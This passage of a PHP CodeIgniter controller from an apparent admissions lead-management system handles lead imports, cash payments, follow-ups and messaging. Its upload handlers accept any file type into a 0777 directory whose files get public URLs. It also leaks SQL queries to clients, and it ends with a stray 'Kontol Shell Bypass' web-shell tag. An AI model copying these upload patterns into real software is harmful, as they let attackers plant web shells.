                    'updated_by'=>USER_ID,
                ];

                $program_name='';
                $plan_name='';
                if($post['step']==1){
                    $utmsource=$rw[5];
                    $utmmedium=$rw[6];
                }else{
                    $program_name=$rw[4]?$rw[4]:'';
                    $plan_name=$rw[5]?$rw[5]:'';

                    $utmsource=$rw[6];
                    $utmmedium=$rw[7];
                }
                if($utmsource){
                    $d1['utm_source_id']=(int)$this->db->get_where("master_utm_sources", ['title'=>$utmsource])->row()->id;
                    if($d1['utm_source_id']){
                        $d1['utm_source']=$utmsource;
                    }
                }
                if($utmmedium){
                    $d1['utm_medium']=$utmmedium;
                }

                if($d1['email'] && $this->db->select("id")->get_where("applicants", ['email'=>$d1['email']])->row('id')){
                    $dupEmails[]=$d1['email'];
                }else if($d1['mob'] && $this->db->select("id")->get_where("applicants", ['mob'=>$d1['mob']])->row('id')){
                    $dupEmails[]=$d1['mob'];
                }else{
                    if($post['step']==1){
                        $d1['is_excel_upload']=1;
                        $d2=filter_value($rw, ['ac_id', 'discipline_id', 'school_id', 'program_id', 'plan_id']);
                        unset($d2[0]);
                        $d2['created']=$d2['updated']=currentDT();
                        $d2['created_by']=$d2['updated_by']=USER_ID;
                        $d2['step_completed']=1;

                        $this->db->insert("applicants", $d1);
                        $d2['applicant_id']=$this->db->insert_id();
                        $num=$this->leads->getCounter('application_no_count');
                        $d2['application_no']=zero_format_no($num);
                        $this->db->insert("applications", $d2);
                        $appIds[]=$this->db->insert_id();
                    }else{
                        $d1['is_excel_upload']=0;
                        $d2=[
                            'created'=>currentDT(),
                            'created_by'=>USER_ID,
                            'updated'=>currentDT(),
                            'updated_by'=>USER_ID,
                            'step_completed'=>0,
                        ];

                        $this->db->insert("applicants", $d1);
                        $d2['applicant_id']=$this->db->insert_id();

                        $apiD=[
                            'lpage_id'=>$d1['lpage_id'],
                            'state_code'=>$rw[2],
                            'mobile'=>$d1['mob'],
                            'email'=>$d1['email'],
                            'name'=>$d1['name'],
                            'program_name'=>$program_name,
                            'plan_name'=>$plan_name,
                            'created'=>currentDT()
                        ];
                        $this->db->insert("api_leads", $apiD);
                        $d2['api_lead_id']=$this->db->insert_id();

                        $num=$this->leads->getCounter('application_no_count');
                        $d2['application_no']=zero_format_no($num);
                        $this->db->insert("applications", $d2);
                    }
                    $n1++;
                }
                $c++;
            }
            $res['success']=true;
            $res['msg']="$n1 records uploaded out of $c";
            $res['app_ids']=$appIds;
            $res['dup_emails']=$dupEmails;
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }
		$this->json_data($res);
    }

    function send_emails_to_uploaded_leads(){
        ignore_user_abort(true);
        //$this->load->model("api_model", "api");
        $app_ids=json_decode($this->input->post('app_ids'), true);

        if($app_ids && is_array($app_ids)){
            foreach($app_ids as $app_id){
                //$this->front->send_step1_email($app_id);
            }
        }
    }

	/** */
	function detail($id=0, $step_completed=0){
		if($step_completed=='-1'){
			return [];
		}
		$data['dtl']=$this->leads->detail($id);
		$this->json_data($data);
	}

	function appDtlNdCoupans($id=0){
		$data['appDtl']=$this->leads->applicationDtl($id);
		$data['coupans']=$this->leads->coupans($data['appDtl']['applicant_id'], $data['appDtl']['plan_id'], $data['appDtl']['program_id']);

		$this->json_data($data);
	}

	function recordCash(){
		$this->checkAccess('record_cash');
		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=$this->input->post();

		$dtl=$this->leads->detail($post['application_id']);
		if($dtl['step_completed']==1){
			$inf['msg']="Please completed step 2 first"; $this->json_data($inf);
		}
		if($dtl['payment_status']==1){
			$inf['msg']="Already paid"; $this->json_data($inf);
		}

		$cash_order_id="SU_".date('y')."_CASH_".$post['application_id'];
		$d=array('id'=>$post['application_id'], 'step_completed'=>3, 'step3date'=>currentDT(), 'payment_status'=>1, 'payment_date'=>currentDT(), 'payment_mode'=>'CASH', 'cash_order_id'=>$cash_order_id, 'fee'=>$post['fee'], 'coupan_used'=>$post['coupan_used'], 'coupan_amt'=>$post['coupan_amt']);
		$this->common->save($d, "applications");
		$d=array('application_id'=>$post['application_id'], 'amount'=>$post['fee']-$post['coupan_amt']);
		$this->common->save($d, "cash_collections");

		$this->load->model('ps_model', 'ps');
		$this->ps->addLeadToPS($post['application_id']);

		$inf['dtl']=$this->leads->detail($post['application_id']);

		$udtl=$this->db->select("campus_offline_user")->get_where("users", ['id'=>USER_ID])->row_array();
		if($udtl['campus_offline_user']==='Y'){
			$d=['id'=>$inf['dtl']['applicant_id'], 'is_campus_offline'=>'Y'];
			$this->dba->save("applicants", $d);
		}

		$sms="Dear ".$inf['dtl']['name'].", your payment has been received. We are processing your application. You will receive your application number shortly.";
		send_sms($inf['dtl']['mob'], $sms);

		$inf['noti_id']=$this->common->addLeadNotification('Payment_Made', $post['application_id']);

		$inf['success']=true;
		$inf['msg']="Cash recorded";
        $inf['dtl']['is_campus_offline']='Y';
		$this->json_data($inf);
	}

	function cancelCashReceipt(){
		$this->checkAccess('record_cash');

		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=$this->input->post();
		$dtl=$this->leads->detail($post['application_id']);
	
		if($dtl['payment_mode']!='CASH'){
			$inf['msg']="Cash has not received"; $this->json_data($inf);
		}
		if($dtl['cashTrans']['created_by']!=USER_ID){
			$inf['msg']="This cash has not received by you"; $this->json_data($inf);
		}

		$d=array('id'=>$post['application_id'], 'step_completed'=>2, 'step3date'=>NULL, 'payment_status'=>0, 'payment_mode'=>'', 'cash_order_id'=>'', 'coupan_used'=>'', 'coupan_amt'=>0);
		$this->common->save($d, "applications");
		$this->db->delete("cash_collections", array('application_id'=>$post['application_id']));

		$this->load->model('ps_model', 'ps');
		$this->ps->deleteLeadFromPS($dtl['application_no']);

		$inf['dtl']=$this->leads->detail($post['application_id']);
		$inf['success']=true;
		$inf['msg']="Cash recorded";
		$this->json_data($inf);
    }
    
    function send_payment_link($app_id){
        $res=['success'=>false, 'msg'=>'Error!'];
        $dtl=$this->leads->detail($app_id);
        try{
            if(!$dtl){
                throw new Exception("Invalid data!");
            }
            if($dtl['payment_status']){
                throw new Exception("Already paid!");
            }
            
            $d=['id'=>$dtl['id'], 'pay_link_sent'=>1];
            if($this->dba->save("applications", $d)){
                $this->common->send_payment_link($dtl['id']);
                $res['success']=true;
                $res['msg']="Payment link sent";
                $res['appdtl']=$this->leads->applicationDtl($app_id);
            }
            $res['q']=$this->db->last_query();
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        $this->json_data($res);
    }

	/** Follow-up */
    function get_follow_ups($id=''){
        $data['result']=$this->leads->get_follow_ups($id);
		$this->json_data($data);
    }
	function follow_up_detail($id=0){
		$data=$this->leads->follow_up_detail($id);
		$this->json_data($data);
	}
	function save_follow_up(){
		$post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!', 'result'=>null);
        $id=$post['id']=(int)$post['id'];
		
		$this->form_validation->set_rules('application_id', 'Application', "required", $this->req);
		$this->form_validation->set_rules('remarks_id', 'Disposition', "required", $this->req);
        $this->form_validation->set_rules('subremarks', 'Remarks', "required", $this->req);
        $this->form_validation->set_rules('feedback', 'Comment', "required", $this->req);
        $this->form_validation->set_rules('comm_mode', 'Communication Mode', "required", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			if($post['next_followup']){
                if(strtotime($post['next_followup'])<strtotime(date('Y-m-d'))){
                    $inf['msg']="Followup date must be of future!";
                    $this->json_data($inf);
                }
            }

            $data=filter_value($post, array('id', 'application_id', 'remarks_id', 'subremarks', 'feedback', 'comm_mode'));

            $ldtl=$this->db->select("step_completed")->limit(1)->get_where("applications", ['id'=>$post['application_id']])->row_array("step_completed");
            if($ldtl['step_completed']==3){
                $data['is_after_paid']='Y';
            }

			if($id=$this->common->save($data, "applications_remarks")){
                $d=['id'=>$data['application_id'], 'followup_by'=>USER_ID, 'last_followup_id'=>$id];
				if($post['next_followup']){
                    $d['next_followup']=get_date($post['next_followup'], '', 'Y-m-d');
                }elseif($post['complete']){
                    $d['next_followup']=NULL;
                }
                $this->dba->save("applications", $d);

                list($inf['followup_count_all'], $inf['followup_count'])=$this->common->update_app_followup_count($data['application_id']);
                $inf['followup_by']=USER_ID;
				$inf['next_followup']=$d['next_followup']?get_date($d['next_followup']):'';
				$inf['success']=true;
				$inf['result']=$this->leads->get_follow_ups($data['application_id']);
				$inf['msg']='Remarks/Comments '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	function delete_follow_up(){
		$inf=array('success'=>false, 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$ar=$this->db->from('applications_remarks')->select('application_id')->where(['id'=>$id])->get()->row_array();
		
		if($this->leads->delete_follow_up($id)){
            $d=['id'=>$ar['application_id'], 'followup_by'=>0, 'last_followup_id'=>0];
            $lastFB=$this->db->from('applications_remarks')->select('id, created_by')->where(['application_id'=>$ar['application_id']])->order_by("id", "DESC")->limit(1)->get()->row_array();
            if($lastFB){
                $d['followup_by']=$lastFB['created_by'];
                $d['last_followup_id']=$lastFB['id'];
            }
            $this->dba->save("applications", $d);

            list($inf['followup_count_all'], $inf['followup_count'])=$this->common->update_app_followup_count($ar['application_id']);
            $inf['followup_by']=$d['followup_by'];
			$inf['success']=true;
			$inf['result']=$this->leads->get_follow_ups($ar['application_id']);
			$inf['msg']="remark/feedback successfully";
		}
		$this->json_data($inf);
    }

    /** */
    function mark_as_dead(){
        $post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!');
		
        $this->form_validation->set_rules('id', 'ID', "required|integer", $this->req);
        
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $d=['id'=>$post['id'], 'isdead'=>'Y', 'dead_on'=>currentDT() ,'dead_by'=>USER_ID];
            if($this->dba->save("applications", $d)){
                $inf['success']=true;
                $inf['msg']='Marked as dead successfully';
            }
		}
		$this->json_data($inf);
    }
    /* Admin Remarks */
    function superuser_remarks(int $application_id){
        $res['result']=$this->db->from("admin_remarks")
            ->select("admin_remarks.*,users.name as usr")
            ->join('users',"users.id=admin_remarks.created_by")
            ->where(['admin_remarks.application_id'=>$application_id])
            ->get()
            ->result_array();
        $res['success']=true;
        $this->json_data($res);
    }

    function add_superuser_remark(){
        $post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!');
		
        $this->form_validation->set_rules('application_id', 'Application Id', "required|integer", $this->req);
        $this->form_validation->set_rules('remarks', 'Remark', "required", $this->req);
        
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $d=['application_id'=>$post['application_id'], 'remarks'=>$post['remarks']];
            if($this->dba->save("admin_remarks", $d)){
                $inf['success']=true;
                $inf['msg']='Admin Remark/Review Added Successfully';
            }
		}
		$this->json_data($inf);
    }

    function delete_superuser_remark(int $remark_id){
        $affected_row = $this->db->delete('admin_remarks',['id'=>$remark_id]);
        if($affected_row){
            $res['success']=true;
            $res['msg']="Admin Remark/Review Deleted Successfull.y";
        }else{
            $res['success']=true;
            $res['msg']="Admin Remark/Review Not Deleted Try Again!";
        }
        $this->json_data($res);
    }

    /** Emails */
    function get_sent_emails(){
        $data['list']=$this->leads->get_sent_emails($this->input->post('to_email'));
        $this->json_data($data);
    }

    function get_sent_whatsapp(){
        $data['list']=$this->leads->get_sent_whatsapp($this->input->post('app_id'));
        $this->json_data($data);
    }

    function send_email(){
		$post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!');
		
        $this->form_validation->set_rules('to_email', 'Email To', "required", $this->req);
        $this->form_validation->set_rules('to_name', 'Name To', "required", $this->req);
		$this->form_validation->set_rules('subject', 'Subject', "required", $this->req);
        $this->form_validation->set_rules('body', 'Body', "required", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            /** File upload */
            $dir=UP_PATHF.'email_attachments/';
            if($_FILES['file']['name']){
                if(!is_dir($dir)){
                    mkdir($dir, 0777, true);
                }
                $uploads=[];
                $fflg=0;
                foreach($_FILES['file']['name'] as $i=>$f){
                    if($_FILES['file']['name'][$i]){
                        $fflg=1;
                    };
                }
                if($fflg){
                    $this->load->library('upload');
                    foreach($_FILES['file']['name'] as $i=>$f){
                        if(!$_FILES['file']['name'][$i]) continue;
                        $_FILES['docs']['name']       =$_FILES['file']['name'][$i];
						$_FILES['docs']['type']       =$_FILES['file']['type'][$i];
						$_FILES['docs']['tmp_name']   =$_FILES['file']['tmp_name'][$i];
						$_FILES['docs']['error']      =$_FILES['file']['error'][$i];
                        $_FILES['docs']['size']       =$_FILES['file']['size'][$i];
                        
                        $config=array(
                            'upload_path'=>$dir, 
                            //'allowed_types'=>'gif|jpg|png|pdf|doc|xls|ppt|docx|xlsx|pptx', 
                            'allowed_types'=>'*',
                            'max_size'=>1024*25,
                            'max_filename'=>80,
                            'file_ext_tolower'=>true,
                            'file_name'=>USER_ID.$i.time()
                        );
                        $this->upload->initialize($config);
                        if($this->upload->do_upload('docs')){
                            $uploads[]=$this->upload->data('file_name');
                        }else{
                            $inf['msg']=strip_tags($this->upload->display_errors());
                            $this->json_data($inf);
                        }
                    }
                }
            }
            
            $data=filter_value($post, array('to_email', 'to_name', 'cc', 'subject', 'body', 'is_letter'));
            
            $attachments=false;
            if($uploads){
                $data['attachment']=implode(",", $uploads);
                $attachments=[];
                foreach($uploads as $a){
                    $attachments[]=$dir.$a;
                }
            }

			$ldtl=$this->leads->detail($post['id']);
            if(!$ldtl){
                $inf['msg']="Invalid data!";
                $this->json_data($inf);
            }

			$udtl=$this->db->select("name, mobile")->get_where("users", ['id'=>USER_ID])->row_array();

			$data['subject']=campain_tag_value($post['subject'], $ldtl, $udtl);
            $data['body']=campain_tag_value($post['body'], $ldtl, $udtl);

			if($data['is_letter']){
				$data['body']=$this->load->view("pages/letter_email", $data, TRUE);
			}

			//return;

            $data['application_id']=$post['id']?$post['id']:null;
			if($this->dba->save("sent_emails", $data)){
                sendEmailSendGrid(['to'=>$post['to_email'], 'cc'=>$post['cc']], $data['subject'], $data['body'], $attachments);

				$inf['success']=true;
                $inf['msg']='Email sent successfully';
                //$inf['list']=$this->leads->get_sent_emails($post['to_email']);
			}
		}
		$this->json_data($inf);
    }

    function send_whatsapp(){
        $post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!');
		
        $this->form_validation->set_rules('id', 'App ID', "required", $this->req);
        //$this->form_validation->set_rules('to_country_id', 'Country ID', "required", $this->req);
        $this->form_validation->set_rules('to_mob', 'Mobile', "required", $this->req);
        $this->form_validation->set_rules('whatsapp_body', 'Body', "required", $this->req);

        if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            /** File upload */
            $dir=UP_PATHF.'email_attachments/';
            $dirUrl=UP_URLF.'email_attachments/';

            if($_FILES['file']['name']){
                if(!is_dir($dir)){
                    mkdir($dir, 0777, true);
                }
                $uploads=[];
                $fflg=0;
                foreach($_FILES['file']['name'] as $i=>$f){
                    if($_FILES['file']['name'][$i]){
                        $fflg=1;
                    };
                }
                if($fflg){
                    $this->load->library('upload');
                    foreach($_FILES['file']['name'] as $i=>$f){
                        if(!$_FILES['file']['name'][$i]) continue;
                        $_FILES['docs']['name']       =$_FILES['file']['name'][$i];
						$_FILES['docs']['type']       =$_FILES['file']['type'][$i];
						$_FILES['docs']['tmp_name']   =$_FILES['file']['tmp_name'][$i];
						$_FILES['docs']['error']      =$_FILES['file']['error'][$i];
                        $_FILES['docs']['size']       =$_FILES['file']['size'][$i];
                        
                        $config=array(
                            'upload_path'=>$dir, 
                            //'allowed_types'=>'gif|jpg|png|pdf|doc|xls|ppt|docx|xlsx|pptx', 
                            'allowed_types'=>'*',
                            'max_size'=>1024*25,
                            'max_filename'=>80,
                            'file_ext_tolower'=>true,
                            'file_name'=>USER_ID.$i.time()
                        );
                        $this->upload->initialize($config);
                        if($this->upload->do_upload('docs')){
                            $uploads[]=$this->upload->data('file_name');
                        }else{
                            $inf['msg']=strip_tags($this->upload->display_errors());
                            $this->json_data($inf);
                        }
                    }
                }
            }
            
            $ldtl=$this->leads->detail($post['id']);
            $post['body']=campain_tag_value($post['whatsapp_body'], $ldtl);

            $data=[
                'app_id'=>$post['id'],
                'to_mob'=>$post['to_mob'],
                'msg'=>strip_tags($post['body']),
                'created_by'=>USER_ID,
            ];

            $mediaUrl='';
            if($uploads){
                $mediaUrl=$dirUrl.$uploads[0];
            }

            $instance=$this->db->select("whatsapp_instance")->get_where("users", ['id'=>USER_ID])->row("whatsapp_instance");
            $inf['resp']=sendWhatsAppText('91'.$data['to_mob'], $data['msg'], $instance, $mediaUrl);
            //$inf['resp']=json_encode($inf['resp'], true);

            if($this->dba->save("sent_whatsapp", $data)){
                $this->leads->detail($post['id']);
                $inf['success']=true;
                $inf['msg']='Whatsapp sent successfully';
            }
        }

        $this->json_data($inf);
    }

	/** SMS */
	function get_sent_sms(){
        $data['list']=$this->leads->get_sent_sms($this->input->post('application_id'));
        $this->json_data($data);
    }

	function send_sms(){
		$post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!');
		
        $this->form_validation->set_rules('application_id', 'Application', "required", $this->req);
        $this->form_validation->set_rules('mob', 'Mobile number', "required", $this->req);
		$this->form_validation->set_rules('msg', 'Message', "required", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $data=filter_value($post, array('application_id', 'mob', 'msg'));
            
			$ldtl=$this->leads->detail($post['application_id']);
            if(!$ldtl){
                $inf['msg']="Invalid data!";
                $this->json_data($inf);
            }
			$data['msg']=campain_tag_value($data['msg'], $ldtl);

			if($this->dba->save("followup_sent_sms", $data)){
                $resp=send_sms($post['mob'], $data['msg']);

				$inf['resp']=$resp;
				$inf['success']=true;
                $inf['msg']='SMS sent successfully';
			}
		}
		$this->json_data($inf);
    }

    /** Assign */
    function assign_lead(){
        $inf=array('success'=>false, 'msg'=>'Error!');
        $post=trim_array($this->input->post());
        $id=(int)$post['id'];
        $post['assigned_to']=(int)$post['assigned_to'];
        if(!$post['assigned_to']){
            $inf['msg']="Assigned to required";
            $this->json_data($inf);
        }
        if(!$post['remarks']){
            $inf['msg']="Remarks required";
            $this->json_data($inf);
        }

        $d=['id'=>$id, 'assigned_to'=>$post['assigned_to'], 'isresolved'=>'N', 'resolved_by'=>0, 'resolved_on'=>NULL];
        if($this->dba->save("applications", $d)){
            $d=['application_id'=>$id, 'assigned_to'=>$post['assigned_to'], 'remarks'=>$post['remarks']];
            $this->dba->save("application_assign_history", $d);

            $inf['success']=true;
            $inf['msg']='Assigned successfully';
        }
        $this->json_data($inf);
    }

    function application_assign_detail($app_id){
        $dtl=$this->db->select("A.id, U.name, U.mob, U.email, A.assigned_to")->from("applications A")->join("applicants U", "U.id=A.applicant_id")->where(['A.id'=>$app_id])->get()->row_array();
        $dtl['history']=$this->leads->application_assign_history($app_id);
        $this->json_data($dtl);
    }

    function resolveLead(){
        $inf=array('success'=>false, 'msg'=>'Error!');
        $post=trim_array($this->input->post());
        $id=(int)$post['id'];

        $d=['id'=>$id, 'assigned_to'=>0, 'isresolved'=>'Y', 'resolved_by'=>USER_ID, 'resolved_on'=>currentDT()];
        if($this->dba->save("applications", $d)){
            $inf['success']=true;
            $inf['msg']='Resolved successfully';
        }
        $this->json_data($inf);
    }

	function makeNonDeadLead(){
        $inf=array('success'=>false, 'msg'=>'Error!');
        $post=trim_array($this->input->post());
        $id=(int)$post['id'];

        $d=['id'=>$id, 'isdead'=>'N'];
        if($this->dba->save("applications", $d)){
            $inf['success']=true;
            $inf['msg']='Removed from DEAD successfully';
        }
        $this->json_data($inf);
    }

    /** Upload Suat Details */
    function uploadSuatDetails(){
        ini_set('display_errors', 1);
		error_reporting(E_ALL & ~E_NOTICE);
        $post=trim_array($this->input->post());
        $res=['success'=>false, 'msg'=>'Error!'];
        try{
            if(!$_FILES['file']['name']){
                throw new Exception("Excel file required!");
            }
            if(strtolower(get_ext($_FILES['file']['name']))!='xlsx'){
                throw new Exception("You have not pick a valid excel file (.xlsx)!");
            }
            
            $data=[];
            $this->load->library('excel');
            $rows=$this->excel->read($_FILES['file']['tmp_name']);
            foreach($rows as $i=>&$r){
                if($i==0) continue;
                $r=trim_array($r);
                if(!$r[0]){
                    continue;
                }

                $data[]=[
                    'application_no'=>replace_special_chars($r[0], ''),
                    'suat_status'=>trim(replace_special_chars($r[1], ' ')),
                    'slot_booking_date'=>get_date($r[2], '', 'Y-m-d'),
                    'suat_score'=>$r[3],
                    'updated'=>currentDT(),
                    'updated_by'=>USER_ID,
                ];
            }
            $n=0;
            if($data){
                $n=$this->db->update_batch("applications", $data, "application_no");
            }

            $res['success']=true;
            $res['msg']="$n records updated successfully";
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }
		$this->json_data($res);
    }

	function uploadFollowups(){
		ini_set('display_errors', 1);
		error_reporting(E_ALL & ~E_NOTICE);
        $post=trim_array($this->input->post());
        $res=['success'=>false, 'msg'=>'Error!'];

		try{
			if(!$_FILES['file']['name']){
                throw new Exception("Excel file required!");
            }
            if(strtolower(get_ext($_FILES['file']['name']))!='xlsx'){
                throw new Exception("You have not pick a valid excel file (.xlsx)!");
            }
            
            $data=[];
            $this->load->library('excel');
            $rows=$this->excel->read($_FILES['file']['tmp_name']);
			foreach($rows as $i=>&$r){
                if($i==0) continue;
                $r=trim_array($r);
                if(!$r[0]){
                    continue;
                }

				$application_no=replace_special_chars($r[0], '');
				$remarks=trim($r[1]);
				$subremarks=trim($r[2]);
				$feedback=trim($r[3]);

				$dt=str_replace('-', ' ', trim($r[4]));
				if(strpos($dt, '/')!==FALSE){
					$dts=explode("/", $dt);
					$dt=(zero_format_no($dts[0],2)).' '.$dts[1].' '.((strlen($dts[2])==2?'20':'').$dts[2]);
				}
				$created=get_date($dt, '', 'Y-m-d');

				$id=$this->db->select("id")->get_where("applications", ['application_no'=>$application_no])->row("id");
				$remarks_id=$this->db->select("id")->get_where("master_lead_remarks", ['title'=>$remarks])->row("id");
				if($id && $remarks_id){
					$data[]=[
						'application_id'=>$id,
						'remarks_id'=>$remarks_id,
						'subremarks'=>$subremarks,
						'feedback'=>$feedback,
						'comm_mode'=>'Call',
						'created'=>$created,
                    	'created_by'=>USER_ID,
						'updated'=>currentDT(),
                    	'updated_by'=>USER_ID,
					];
				}
            }

			$n=0;
			if($data){
				foreach($data as $d){
					$this->db->insert("applications_remarks", $d);
					$id=$this->db->insert_id();
					if($id){
						$dd=['id'=>$d['application_id'], 'followup_by'=>USER_ID, 'last_followup_id'=>$id];
						$this->dba->save("applications", $dd);
						$this->common->update_app_followup_count($d['application_id']);
						$n++;
					}
				}
			}

			$res['success']=true;
            $res['msg']="$n records added successfully";

		}catch(Exception $e){
            $res['msg']=$e->getMessage();
        }
		$this->json_data($res);
	}

	/** */
	function visitHistory(){
        $inf=array('success'=>true, 'msg'=>'');
        $post=trim_array($this->input->post());
        $applicant_id=(int)$post['applicant_id'];

        $inf['result']=$this->leads->visitHistory($applicant_id);
        $this->json_data($inf);
    }

	/** */
	function changeUtmSource(){
        $inf=array('success'=>false, 'msg'=>'Error!');
        $post=trim_array($this->input->post());
        $id=(int)$post['applicant_id'];
        $utm_source_id=(int)$post['utm_source_id'];
		if(!$id){
			$inf['msg']="Applicant ID required!";
			$this->json_data($inf);
		}
		if(!$utm_source_id){
			$inf['msg']="Utm Source ID required!";
			$this->json_data($inf);
		}

		$utm_source=$this->db->select("title")->get_where("master_utm_sources", ['id'=>$utm_source_id])->row("title");

        $d=['id'=>$id, 'utm_source_id'=>$utm_source_id, 'utm_source'=>$utm_source];
        if($this->dba->save("applicants", $d)){
			$inf['utm_source_id']=$utm_source_id;
			$inf['utm_source']=$utm_source;
            $inf['success']=true;
            $inf['msg']='Utm source changed successfully';
        }
        $this->json_data($inf);
    }

    /** Lead from Old to New */
	function leadFromOldToNew(){
		$post=trim_array($this->input->post());
        $res=['success'=>false, 'msg'=>'Error!'];
		$res=$this->leads->leadFromOldToNew($this->input->post("id"));
		json_data($res);
	}
}


//EOF

Kontol Shell Bypass